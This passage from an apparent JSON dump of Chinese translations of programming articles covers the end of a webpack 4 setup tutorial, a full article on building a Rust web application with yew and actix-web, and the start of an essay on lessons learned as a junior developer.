['css-loader', 'sass-loader']\n          })\n      }\n    ]\n  },\n  plugins: [\n    new MiniCssExtractPlugin({\n      filename: \"style.[contenthash].css\"\n    }),\n    new HtmlWebpackPlugin({\n      inject: false,\n      hash: true,\n      template: \"./src/index.html\",\n      filename: \"index.html\"\n    }),\n    new WebpackMd5Hash()\n  ]\n};\n```\n\n> 现在，当我编辑 main.scss 时，会生成 style.css 的新哈希。当我编辑 css 时只有 css 的哈希更改，当我编辑 ./src/script.js 时，只有script.js 的哈希更改！\n\n### 整合 PostCSS\n\n为了优雅的输出 _.css_ ，我们可以在顶部添加 PostCSS。\n\n[PostCSS](https://github.com/postcss/postcss) 为您提供 **autoprefixer、cssnano** 和其他漂亮和方便的东西。 我会每天展示我正在使用的内容。我们需要 **postcss-loader**。我们还将安装 autoprefixer，因为我们稍后会需要它。\n\n\n> 更新于：2019.2.11\n>\n> 校对者注：\n> 最新版的 postcss-loader（v3.0.0 版本以上）是自带支持 autoprefixer 的，所以我们不需要安装 autoprefixer。\n>\n> 具体请参阅：[postcss-preset-env 包含 autoprefixer，因此如果您已经使用了预设配置，则无需单独添加 autoprefixer。](https://github.com/postcss/postcss-loader#autoprefixing)\n\n\n```shell\nnpm install postcss-loader --save-dev\nnpm i -D autoprefixer\n\n或者\n\nyarn add postcss-loader autoprefixer --dev\n```\n\n> 特别提醒：您不必为了使用 PostCSS 而使用 Webpack，Webpack 有一个相当不错的 [post-css-cli](https://github.com/postcss/postcss-cli) 插件，允许你在 npm 脚本中使用。\n\n在需要相关插件的地方创建 _postcss.config.js_ ，粘贴\n\n```javascript\nmodule.exports = {\n    plugins: [\n      require('autoprefixer')\n    ]\n}\n```\n\n我们的 _webpack.config.js_ 现在看起来应该是这样：\n\n```javascript\n// webpack v4\nconst path = require('path');\n// update 23.12.2018\nconst nodeExternals = require(\"webpack-node-externals\");\n\nconst MiniCssExtractPlugin = require(\"mini-css-extract-plugin\");\nconst HtmlWebpackPlugin = require(\"html-webpack-plugin\");\nconst WebpackMd5Hash = require(\"webpack-md5-hash\");\n\nmodule.exports = {\n  entry: { main: './src/index.js' },\n  output: {\n    path: path.resolve(__dirname, 'dist'),\n    filename: '[name].[chunkhash].js'\n  },\n  target: \"node\",\n  externals: [nodeExternals()],\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        exclude: /node_modules/,\n        use: {\n          loader: \"babel-loader\"\n        }\n      },\n      {\n        test: /\\.scss$/,\n        use:  [  'style-loader', MiniCssExtractPlugin.loader, 'css-loader', 'postcss-loader', 'sass-loader']\n      }\n    ]\n  },\n  plugins: [\n    new MiniCssExtractPlugin({\n      filename: 'style.[contenthash].css',\n    }),\n    new HtmlWebpackPlugin({\n      inject: false,\n      hash: true,\n      template: './src/index.html',\n      filename: 'index.html'\n    }),\n    new WebpackMd5Hash()\n  ]\n};\n```\n请注意我们用于 .scss 的插件顺序\n\n```javascript\nuse:  ['style-loader', MiniCssExtractPlugin.loader, 'css-loader', 'postcss-loader', 'sass-loader']\n```\n加载器将从后向前应用插件。\n\n您可以通过向 .scss 文件添加更多代码并检查输出来测试 [**autoprefixer**](https://github.com/postcss/autoprefixer)。还有一种方法可以通过在 _.browserslistrc_ 文件中指定要支持的浏览器来修复输出。\n\n我将引导您到 [https://www.postcss.parts/](https://www.postcss.parts/) 探索可用于 PostCSS 的插件，例如：\n\n*   [utilities](https://github.com/ismamz/postcss-utilities)\n*   [cssnano](https://github.com/ben-eb/cssnano)\n*   [style-lint](https://github.com/stylelint/stylelint)\n\n我将使用 **cssnano** 来 Minify 我的输出文件，使用 [css-mqpacker](https://github.com/hail2u/node-css-mqpacker) 来编排我的 media queries。我也收到了一些消息：\n\n![](https://cdn-images-1.medium.com/max/800/1*8TyHjIG5jTjPFn51icEVtA@2x.jpeg)\n\n如果你愿意，可以试试 **cleancss**。\n\n### 版本控制\n\n为了保证你的依赖在对的位置，我推荐使用 **yarn** 来替代 **npm 安装模块。长话短说，yarn 会锁定每一个包，并且当你重装模块时，你将不会遇到许多意想不到的不兼容情况。**\n( 注：**npm** 也早已有 **package-lock** 文件帮助锁定版本。请根据个人需求选择包管理工具。 )\n\n### 保持配置干净整洁\n\n我们可以尝试导入 **clean-webpack-plugin**，在重新生成文件之前清理 _./dist_ 文件夹。\n\n```javascript\n// webpack v4\nconst path = require('path');\n// update 23.12.2018\nconst nodeExternals = require(\"webpack-node-externals\");\n\nconst MiniCssExtractPlugin = require(\"mini-css-extract-plugin\");\nconst HtmlWebpackPlugin = require(\"html-webpack-plugin\");\nconst WebpackMd5Hash = require(\"webpack-md5-hash\");\nconst CleanWebpackPlugin = require('clean-webpack-plugin');\n\nmodule.exports = {\n  entry: { main: './src/index.js' },\n  output: {\n    path: path.resolve(__dirname, 'dist'),\n    filename: '[name].[chunkhash].js'\n  },\n  target: \"node\",\n  externals: [nodeExternals()],\n\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        exclude: /node_modules/,\n        use: {\n          loader: \"babel-loader\"\n        }\n      },\n      {\n        test: /\\.scss$/,\n        use:  [  'style-loader',\n                 MiniCssExtractPlugin.loader,\n                 'css-loader',\n                 'postcss-loader',\n                 'sass-loader']\n      }\n    ]\n  },\n  plugins: [\n    new CleanWebpackPlugin('dist', {} ),\n    new MiniCssExtractPlugin({\n      filename: 'style.[contenthash].css',\n    }),\n    new HtmlWebpackPlugin({\n      inject: false,\n      hash: true,\n      template: './src/index.html',\n      filename: 'index.html'\n    }),\n    new WebpackMd5Hash()\n  ]\n};\n```\n\n现在我们的配置干净整洁，我们可以保持下去！\n\n> 在这里，我为您提供了我的配置文件以及逐步配置它的方法。注意：由于许多 npm 依赖项可能会在您阅读此内容时发生更改，因此相同的配置可能对您无效！我恳请您将错误留在下面的评论中，以便我以后编辑。今天是 2018.04.05。\n\n* * *\n\n**本文的最新版本是 2018.12.28**\n\n带有最新版本插件的 _package.json_ 具有以下结构：\n\n```json\n{\n \"name\": \"webpack-test\",\n \"version\": \"1.0.0\",\n \"description\": \"\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"build\": \"webpack --mode production\",\n \"dev\": \"webpack --mode development\"\n },\n \"author\": \"\",\n \"license\": \"ISC\",\n \"devDependencies\": {\n   \"@babel/core\": \"^7.2.2\",\n   \"autoprefixer\": \"^9.4.3\",\n   \"babel-core\": \"^6.26.3\",\n   \"babel-loader\": \"^8.0.4\",\n   \"babel-preset-env\": \"^1.7.0\",\n   \"css-loader\": \"^2.0.2\",\n   \"html-webpack-plugin\": \"^3.2.0\",\n   \"mini-css-extract-plugin\": \"^0.5.0\",\n   \"node-sass\": \"^4.11.0\",\n   \"postcss-loader\": \"^3.0.0\",\n   \"sass-loader\": \"^7.1.0\",\n   \"style-loader\": \"^0.23.1\",\n   \"webpack\": \"4.28\",\n   \"webpack-cli\": \"^3.1.2\"\n},\n\n \"dependencies\": {\n   \"clean-webpack-plugin\": \"^1.0.0\",\n   \"webpack-md5-hash\": \"^0.0.6\",\n   \"webpack-node-externals\": \"^1.7.2\"\n }\n}\n```\n\n* * *\n\n> 在这里阅读下一篇关于使用 React 配置开发环境的部分：[如何使用 Webpack 4 简化 React.js 开发过程](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-develop-react-js-apps-fast-using-webpack-4.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-web-application-completely-in-rust.md",
    "content": "> * 原文地址：[A web application completely in Rust](https://medium.com/@saschagrunert/a-web-application-completely-in-rust-6f6bdb6c4471)\n> * 原文作者：[Sascha Grunert](https://medium.com/@saschagrunert?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-web-application-completely-in-rust.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-web-application-completely-in-rust.md)\n> * 译者：[Raoul1996](https://github.com/Raoul1996)\n> * 校对者：[7Ethan](https://github.com/7Ethan), [calpa](https://github.com/calpa)\n\n# Rust 开发完整的 Web 应用程序\n\n我在软件架构方面最新的尝试，是在 Rust 中使用尽可能少的模板文件来搭建一个真实的 web 应用程序。在这篇文章中我将和大家分享我的发现，来回答实际上[有多少网站](http://www.arewewebyet.org)在使用 Rust 这个问题。\n\n这篇文章提到的项目[都可以在 GitHub 上找到](https://github.com/saschagrunert/webapp.rs/tree/rev1)。为了提高项目的可维护性，我将前端（客户端）和后端（服务端）放在了一个仓库中。这就需要 Cargo 为整个项目去分别编译有着不同依赖关系的前端和后端二进制文件。\n\n> 请注意，目前这个项目正在快速迭代中可以在 `rev1` 这个分支上找到所有相关的代码。你可以点击[此处](https://medium.com/@saschagrunert/lessons-learned-on-writing-web-applications-completely-in-rust-2080d0990287)阅读这个本系列博客的第二部分。\n\n这个应用是一个简单的身份验证示范，它允许你选一个用户名和密码（必须相同）来登录，当它们不同就会失败。验证成功后，将一个 [JSON Web Token (JWT)](https://en.wikipedia.org/wiki/JSON_Web_Token) 同时保存在客户端和服务端。通常服务端不需要存储 token，但是出于演示的目的，我们还是存储了。举个栗子，这个 token 可以被用来追踪实际登录的用户数量。整个项目可以通过一个 [Config.toml](https://github.com/saschagrunert/webapp.rs/blob/rev1/Config.toml) 文件来配置，比如去设置数据库连接凭证，或者服务器的 host 和 port。\n\n```\n[server]\nip = \"127.0.0.1\"\nport = \"30080\"\ntls = false\n\n[log]\nactix_web = \"debug\"\nwebapp = \"trace\"\n\n[postgres]\nhost = \"127.0.0.1\"\nusername = \"username\"\npassword = \"password\"\ndatabase = \"database\"\n```\n\nwebapp 默认的 Config.toml 文件\n\n### 前端 —— 客户端\n\n我决定使用 [yew](https://github.com/DenisKolodin/yew) 来搭建应用程序的客户端。Yew 是一个现代的 Rust 应用框架，受到 Elm、Angular 和 ReactJS 的启发，使用 [WebAssembly](https://en.wikipedia.org/wiki/WebAssembly)(Wasm) 来创建多线程的前端应用。该项目正处于高度活跃发展阶段，并没有发布那么多稳定版。\n\n[cargo-web](https://github.com/koute/cargo-web) 工具是 yew 的直接依赖之一，能直接交叉编译出 Wasm。实际上，在 Rust 编译器中使用 Wasm 有三大主要目标：\n\n*   _asmjs-unknown-emscripten_ — 通过 Emscripten 使用 [asm.js](https://en.wikipedia.org/wiki/Asm.js) \n*   _wasm32-unknown-emscripten_ — 通过 Emscripten 使用 WebAssembly \n*   _wasm32-unknown-unknown_ — 使用带有 Rust 原生 WebAssembly 后端的 WebAssembly \n\n![](https://cdn-images-1.medium.com/max/800/1*8q4reKhsoW7H-vxSzh-KJQ.jpeg)\n\n我决定使用最后一个，需要一个 nightly Rust 编译器，事实上，演示 Rust 原生的 Wasm 可能是最好的。\n\n> WebAssembly 目前是 Rust 最热门 🔥的话题之一。关于编译 Rust 成为 Wasm 并将其集成到 nodejs（npm 打包），世界上有很多开发者为这项技术努力着。我决定采用直接的方式，不引入任何 JavaScript 依赖。\n\n当启动 web 应用程序的前端部分的时候（在我的项目中用 `make frontend`），cargo-web 将应用编译成 Wasm，并且将其与静态资源打包到一起。然后 cargo-web 启动一个本地 web 服务器，方便应用程序进行开发。\n\n```\n> make frontend\n   Compiling webapp v0.3.0 (file:///home/sascha/webapp.rs)\n    Finished release [optimized] target(s) in 11.86s\n    Garbage collecting \"app.wasm\"...\n    Processing \"app.wasm\"...\n    Finished processing of \"app.wasm\"!\n\n如果需要对任何其他文件启动服务，将其放入项目根目录下的 'static' 目录；然后它们将和你的应用程序一起提供给用户。\n同样可以把静态资源目录放到 ‘src’ 目录中。\n你的应用通过 '/app.js' 启动，如果有任何代码上的变动，都会触发自动重建。\n你可以通过 `http://0.0.0.0:8000` 访问 web 服务器。\n```\n\nYew 有些很好用的功能，就像可复用的组件架构，可以很轻松的将我的应用程序分为三个主要的组件：\n\n*   [**根组件**](https://github.com/saschagrunert/webapp.rs/blob/rev1/src/frontend/components/root.rs)：直接挂载在网页的 `<body>` 标签，决定接下来加载哪一个子组件。如果在进入页面的时候发现了 JWT，那么将尝试和后端通信来更新这个 token，如果更新失败，则路由到 **登录组件**。\n*   [**登录组件**](https://github.com/saschagrunert/webapp.rs/blob/rev1/src/frontend/components/login.rs)：**根组件** 的一个子组件包含登录表单字段。它同样和后端进行基本的用户名和密码的身份验证，并在成功后将 JWT 保存到 cookie 中。成功验证身份后路由到 **内容组件**。\n\n![](https://cdn-images-1.medium.com/max/800/1*0h9AZ2uIwzbdDvUTsna9Lw.png)\n\n<center>登录组件</center>\n\n*   [**内容组件**](https://github.com/saschagrunert/webapp.rs/blob/rev1/src/frontend/components/content.rs)：**根组件的** 的另一个子组件，包括一个主页面内容（目前只有一个头部和一个登出按钮）。它可以通过 **根组件** 访问（如果有效的 session token 已经可用）或者通过 **登录组件** （成功认证）访问。当用户按下登出按钮后，这个组件将会和后端进行通信。\n\n![](https://cdn-images-1.medium.com/max/800/1*8ryczcVc5JrfrkMkBgFcuw.png)\n\n<center>内容组件</center>\n\n*   **路由组件**：保存包含内容的组件之间的所有可能路由。同样包含应用的一个初始的 “loading” 状态和一个 “error” 状态，并直接附加到 **根组件** 上。\n\n服务是 yew 的下一个关键概念之一。它允许组件间重用相同的逻辑，比如日志记录或者 [cookie 处理](https://github.com/saschagrunert/webapp.rs/blob/rev1/src/frontend/services/cookie.rs)。在组件的服务是无状态的，并且服务会在组件初始化的时候被创建。除了服务， yew 还包含了代理（Agent）的概念。代理可以用来在组件间共享数据，提供一个全局的应用状态，就像路由代理所需要的那样。为了在所有的组件之间完成示例程序的路由，实现了一套[自定义的路由代理和服务](https://github.com/saschagrunert/webapp.rs/blob/rev1/src/frontend/services/router.rs)。Yew 实际上没有独立的路由，[但他们的示例](https://github.com/DenisKolodin/yew/tree/master/examples/routing)提供了一个支持所有类型 URL 修改的参考实现。\n\n> 太让人惊讶了，yew 使用 [Web Workers API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API) 在独立的线程中生成代理，并使用附加到线程的本地的任务调度程序来执行并发任务。这使得使用 Rust 在浏览器中编写高并发应用成为可能。\n\n每个组件都实现了[自己的 `Renderable` 特性](https://github.com/saschagrunert/webapp.rs/blob/rev1/src/frontend/components/root.rs#L123)，这让我们可以直接通过 `[html!{}](https://github.com/DenisKolodin/yew#jsx-like-templates-with-html-macro)` 宏在 rust 源码中包含 HTML。这非常棒，并且确保了使用编辑器内置的 borrow checker 进行检查！\n\n```\nimpl Renderable<LoginComponent> for LoginComponent {\n    fn view(&self) -> Html<Self> {\n        html! {\n            <div class=\"uk-card uk-card-default uk-card-body uk-width-1-3@s uk-position-center\",>\n                <form onsubmit=\"return false\",>\n                    <fieldset class=\"uk-fieldset\",>\n                        <legend class=\"uk-legend\",>{\"Authentication\"}</legend>\n                        <div class=\"uk-margin\",>\n                            <input class=\"uk-input\",\n                                   placeholder=\"Username\",\n                                   value=&self.username,\n                                   oninput=|e| Message::UpdateUsername(e.value), />\n                        </div>\n                        <div class=\"uk-margin\",>\n                            <input class=\"uk-input\",\n                                   type=\"password\",\n                                   placeholder=\"Password\",\n                                   value=&self.password,\n                                   oninput=|e| Message::UpdatePassword(e.value), />\n                        </div>\n                        <button class=\"uk-button uk-button-default\",\n                                type=\"submit\",\n                                disabled=self.button_disabled,\n                                onclick=|_| Message::LoginRequest,>{\"Login\"}</button>\n                        <span class=\"uk-margin-small-left uk-text-warning uk-text-right\",>\n                            {&self.error}\n                        </span>\n                    </fieldset>\n                </form>\n            </div>\n        }\n    }\n}\n```\n\n登录组件 `Renderable` 的实现\n\n每个客户端从前端到后端的通信（反之亦然）通过 [WebSocket](https://en.wikipedia.org/wiki/WebSocket) 连接来实现。WebSocket 的好处是可以使用二进制信息，并且如果需要的话，服务端同时可以向客户端推送通知。Yew 已经发行了一个 WebSocket 服务，但我还是要为示例程序[创建一个自定义的版本](https://github.com/saschagrunert/webapp.rs/blob/rev1/src/frontend/services/websocket.rs)，主要是因为要在服务中的延迟初始化连接。如果在组件初始化的时候创建 WebSocket 服务，那么我们就得去追踪多个套接字连接。\n\n![](https://cdn-images-1.medium.com/max/800/1*w3kQzk007POxE3PqjECqXQ.png)\n\n出于速度和紧凑的考量。我决定使用一个二进制协议 —— [Cap’n Proto](https://capnproto.org)，作为应用数据通信层（而不是 [JSON](https://www.json.org)、[MessagePack](https://msgpack.org) 或者 [CBOR](http://cbor.io)这些）。值得一提的是，我没有使用 Cap’n Proto 的[RPC 接口协议](https://capnproto.org/rpc.html)，因为其 Rust 实现不能编译成 WebAssembly（由于 [tokio-rs](https://github.com/tokio-rs/tokio)’ unix 依赖项）。这使得正确区分请求和响应类型稍有困难，但是[结构清晰的 API](https://github.com/saschagrunert/webapp.rs/blob/rev1/src/protocol.capnp) 可以解决这个问题：\n\n```\n@0x998efb67a0d7453f;\n\nstruct Request {\n    union {\n        login :union {\n            credentials :group {\n                username @0 :Text;\n                password @1 :Text;\n            }\n            token @2 :Text;\n        }\n        logout @3 :Text; # The session token\n    }\n}\n\nstruct Response {\n    union {\n        login :union {\n            token @0 :Text;\n            error @1 :Text;\n        }\n        logout: union {\n            success @2 :Void;\n            error @3 :Text;\n        }\n    }\n}\n```\n\n应用程序的 Cap’n Proto 协议定义\n\n你可以看到我们这里有两个不同的登录请求变体：一个是 **登录组件**（用户名和密码的凭证请求），另一个是 **根组件**（已经存在的 token 刷新请求）。所有需要的协议实现都包含在[协议服务](https://github.com/saschagrunert/webapp.rs/blob/rev1/src/frontend/services/protocol.rs)中，这使得它在整个前端中可以被轻松复用。\n\n![](https://cdn-images-1.medium.com/max/800/1*Ngm7Avt7AM7ITqjlPcfARw.jpeg)\n\nUIkit - 用于开发快速且功能强大的 Web 界面的轻量级模块化前端框架\n\n前端的用户界面由 [UIkit](https://getuikit.com) 提供支持，其 `3.0.0` 版将在不久的将来发布。自定义的 [build.rs](https://github.com/saschagrunert/webapp.rs/blob/rev1/build.rs) 脚本会自动下载 UIkit 所需要的全部依赖项并编译整个样式表。这就意味着我们可以在[单独的一个 style.scss 文件](https://github.com/saschagrunert/webapp.rs/blob/rev1/src/frontend/style.scss)中插入自定义的样式，然后在应用程序中使用。安排！（PS: 原文是 `Neat!`）\n\n#### 前端测试\n\n在我的看来，测试可能会存在一些小问题。测试独立的服务很容易，但是 yew 还没有提供一个很优雅的方式去测试单个组件或者代理。目前在 Rust 内部也不可能对前端进行整合以及端到端测试。或许可以使用 [Cypress](https://www.cypress.io) 或者 [Protractor](http://www.protractortest.org/#/) 这类项目，但是这会引入太多的 JavaScript/TypeScript 样板文件，所以我跳过了这个选项。\n\n> 但是呢，或许这是一个新项目的好起点：用 Rust 编写一个端到端测试框架！你怎么看？\n\n### 后端 —— 服务端\n\n我选择的后端框架是 [actix-web](https://github.com/actix/actix-web)：一个小而务实且极其快速的 Rust [actor 框架](https://en.wikipedia.org/wiki/Actor_model)。它支持所有需要的技术，比如 WebSockets、TLS 和 [HTTP/2.0](https://actix.rs/docs/http2/). Actix-web 支持不同的处理程序和资源，但在示例程序中只用到了两个主要的路由：\n\n*   `**/ws**`：主要的 websocket 通信资源。\n*   `**/**`：路由到静态部署的前端应用的主程序处理句柄（handler）\n\n默认情况下，actix-web 会生成与本地计算机逻辑 CPU 数量一样多的 works（译者注：翻译参考了[Actix 中文文档中服务器一节的多线程部分](https://actix-cn.github.io/document/server.html#%E5%A4%9A%E7%BA%BF%E7%A8%8B)）。这就意味着必须在线程之间安全的共享可能的应用程序状态，但这对于 Rust 无所畏惧的并发模式来说完全不是问题。尽管如此，整个后端应该是无状态的，因为可能会在云端（比如 [Kubernetes](https://kubernetes.io)）上并行部署多个副本。所以应用程序状态应该在单个 [Docker](https://www.docker.com) 容器实例中的后端服务之外。\n\n![](https://cdn-images-1.medium.com/max/800/1*vbIdg_EDv0Jakk7iGByH-Q.png)\n\n我决定使用 [PostgreSQL](https://www.postgresql.org) 作为主要的数据存储。为什么呢？因为令人敬畏的 [Diesel 项目](http://diesel.rs) 已经支持 PostgreSQL，并且为它提供了一个安全、可拓展的对象关系映射（ORM）和查询构建器（query builder）。这很棒，因为 actix-web 已经支持了 Diesel。这样的话，就可以自定义惯用的 Rust 域特定语言来创建、读取、更新或者删除（CRUD）数据库中的会话，如下所示：\n\n```\nimpl Handler<UpdateSession> for DatabaseExecutor {\n    type Result = Result<Session, Error>;\n\n    fn handle(&mut self, msg: UpdateSession, _: &mut Self::Context) -> Self::Result {\n        // Update the session\n        debug!(\"Updating session: {}\", msg.old_id);\n        update(sessions.filter(id.eq(&msg.old_id)))\n            .set(id.eq(&msg.new_id))\n            .get_result::<Session>(&self.0.get()?)\n            .map_err(|_| ServerError::UpdateToken.into())\n    }\n}\n```\n\n由 Diesel.rs 提供的 actix-web 的 UpdateSession 处理程序\n\n至于 actix-web 和 Diesel 之间的连接的处理，使用 [r2d2](https://github.com/sfackler/r2d2) 项目。这就意味着我们（应用程序和它的 works）具有共享的应用程序状态，该状态将多个连接保存到数据库作为单个连接池。这使得整个后端非常灵活，很容易大规模拓展。[这里](https://github.com/saschagrunert/webapp.rs/blob/master/src/backend/server.rs#L44-L82)可以找到整个服务器示例。\n\n#### 后端测试\n\n后端的[集成测试](https://github.com/saschagrunert/webapp.rs/blob/rev1/tests/backend.rs)通过设置一个测试用例并连接到已经运行的数据库来完成。然后可以使用标准的 WebSocket 客户端（我使用 [tungstenite](https://github.com/snapview/tungstenite-rs)）将与协议相关的 Cap'n Proto 数据发送到服务器并验证预期结果。这很好用！我没有用 [actix-web 特定的测试服务器](https://actix.rs/actix-web/actix_web/test/index.html)，因为设置一个真正的服务器并费不了多少事儿。后端其他部分的单元测试工作像预期一样简单，没有任何棘手的陷阱。\n\n### 部署\n\n使用 Docker 镜像可以很轻松地部署应用程序。\n\n![](https://cdn-images-1.medium.com/max/800/1*d-HKujYLR5Q2QED4ybEiPw.png)\n\nMakefile 命令 `make deploy` 创建一个名为 `webapp` 的 Docker 镜像，其中包含静态链接（staticlly linked）的后端可执行文件、当前的 `Config.toml`、TLS 证书和前端的静态资源。在 Rust 中构建一个完全的静态链接的可执行文件是通过修改的 [rust-musl-builder](https://hub.docker.com/r/ekidd/rust-musl-builder/) 镜像变体实现的。生成的 webapp 可以使用 `make run` 进行测试，这个命令可以启动容器和主机网络。PostgreSQL 容器现在应该并行运行。总的来说，整体部署不应该是这个工程的重要部分，应该足够灵活来适应将来的变动。\n\n### 总结\n\n总结一下，应用程序的基本依赖栈如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*jkm-cPEWdyZeHjAyqNfHHw.png)\n\n前端和后端之间唯一的共享组件是 Cap’n Proto 生成的 Rust 源，它需要本地安装的 Cap’n Proto 编译器。\n\n#### 那么, 我们的 web 完成了吗（用于生产环境）？\n\n这是一个大问题，这是我的个人观点：\n\n> 后端部分我倾向于说“是”。因为 Rust 有包含非常成熟的 [HTTP 技术栈](http://www.arewewebyet.org/topics/stack/)的各种各样的[框架](http://www.arewewebyet.org/topics/frameworks/)，类似 actix-web。用于快速构建 API 和后端服务。\n\n> 前端部分的话，由于 WebAssembly 的炒作，目前还有很多正在进行中的工作。但是项目需要和后端具有相同的成熟度，特别是在稳定的 API 和测试的可行性方面。所以前端应该是“不”。但是我们依然在正确的方向。\n\n![](https://cdn-images-1.medium.com/max/800/1*BIUlQD822_EKKLv4jtElWg.png)\n\n> 非常感谢你能读到这里。 ❤\n\n我将继续完善我的示例程序，来不断探索 Rust 和 Web 应用的连接点。持续 rusting！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/absolute-truths-unlearned-as-junior-developer.md",
    "content": "> * 原文地址：[7 absolute truths I unlearned as junior developer](https://monicalent.com/blog/2019/06/03/absolute-truths-unlearned-as-junior-developer/)\n> * 原文作者：[Monica Lent](https://monicalent.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/absolute-truths-unlearned-as-junior-developer.md](https://github.com/xitu/gold-miner/blob/master/TODO1/absolute-truths-unlearned-as-junior-developer.md)\n> * 译者：[cyz980908](https://github.com/cyz980908)\n> * 校对者：[Ultrasteve](https://github.com/Ultrasteve), [portandbridge](https://github.com/portandbridge)\n\n# 作为初级开发人员，我学会放下的 7 项真理\n\n![thumbnail](https://monicalent.com/images/typing-with-flowers.jpg)\n\n明年就是我正式受雇以编程为业的第 10 个年头了。十年了！除了实际工作之外，在我生命的近三分之二的时间里，我一直在开发网站相关的东西。我几乎不记清在我的生活中何时我不知道 HTML，这样的确想是有点奇怪。有些孩子学习演奏乐器或跳芭蕾，而我却在我童年的卧室里用代码创造了一个神奇的世界。\n\n这是我往终端里打打奇怪文字就能定期伸手拿钱的头一个十年；回想这段时光，我打算花些时间和各位分享下**作为开发者，在此间我的一些想法的转变**。\n\n对现在的初级开发人员来说：也许你会在这里找到一些你现在相信的东西，并从中得到启发，去了解更多关于它的知识，以及为什么这个话题如此多元化。 或许你会发现这篇文章很鼓舞人心，因为你已经远远超过了我在你这个阶段的水平。\n\n对现在的高级开发人员来说：也许你可以讲述一些有趣（或不起眼）的故事来分享你在初级开发人员的人生经历。\n\n我澄清一下，**我认为初级开发人员是很棒的**，因为仅仅是学习就需要很大的勇气。而这篇文章是关于我自己的经历和学习，并不是要概括所有初级开发者的想法或行为。\n\n我希望你喜欢这篇文章并且可以产生一些共鸣。😄\n\n> **感谢 [Artem](https://twitter.com/iamsapegin) 和 [Sara](https://twitter.com/NikkitaFTW) 对这篇文章的反馈！**\n\n## 作为初级开发人员，我学会放下的真理\n\n### 1. 我是一个高级开发人员\n\n当我申请第一份技术工作时，我才 19 岁。我申请的职位是“学生网站管理员”。这是一个非常棒的职位，因为你可以同时被视为学生和大师（英文里学生网站管理员这个单词可以拆成学生和大师，这里是作者的冷笑话）。现在每个人都想成为一名工程师，因为工程师听起来更高级，但如果你问我，“大师”是做什么的。这么说吧，我的工作是编写 PHP 和 MySQL，维护我们的 Drupal 网站以及构建一些内部工具。\n\n因为我在卧室里编码已经有几年了，所以我十分肯定我是有“多年的开发经验”的。所以当我被问及我有多少写 PHP 的经验时，我自信地回答，“3 或 4 年！”。\n\n我以为我对 SQL 了解很多，因为我可以做外连接。 😎\n\n当我谷歌搜索它时，3-4 年的经验意味着我应该能够赚钱。 💰\n\n快进到我最近的工作，这是我在 5 年的学生和工作经验“结合”后得到的工作（我认为这和正常的工作经历是一样的）。 然而在那个时候，我基本上从来没有审查过我的代码。 我通过 ssh 部署到服务器并运行 git pull 指令。我很确定我从来没有打开过 Pull Request。别误会，我在前两份工作中学到了很多很棒的东西,但是我从来没有真正和同一个代码库中的其他开发人员一起工作过。但是, 我申请了一个“高级前端工程师”的职位，得到了一份工作，并接受了。\n\n**在那里，我是一位成熟的 24 岁高级开发人员。**\n\n我的意思是，要不是我有丰富的经验，他们怎么会给我这个职衔呢，对吧？当然，是我令人印象深刻的经历让我走到了这一步，人们应该听我的！我已经是处在技术生涯的巅峰，我也是办公室里最年轻的开发者。\n\n像老大一样。 💅\n\n> #### 我最终学到的\n>\n> **并非所有的经验生来平等。** 我在卧室编码、学生时代的工作、计算机科学研究领域的工作以及在一家成长中的初创企业工作的经历都是很有价值的经历。但它们并不都一样。在你职业生涯的初期，你在支援到位的团队工作一年所能学到的东西，要比你一个人（或是只有少量反馈的情况下）编程五年多十倍。如果你的代码从未被其他开发人员审查过，你将无法以最快的速度学习 —— 这是一个巨大的因素。\n>\n> **这就是为什么导师如此重要。** 和你一起工作的团队比你薪水中的几块钱更有价值。如果你能控制住自己的话，不要接受你将独自工作的初级职位！不要仅仅因为薪水就接受你的第一个角色（或者老实说，任何角色）。团队才是真正的价值所在。\n>\n> **我还了解到职位头衔不会给你“带来”任何东西。** 这有点像，5 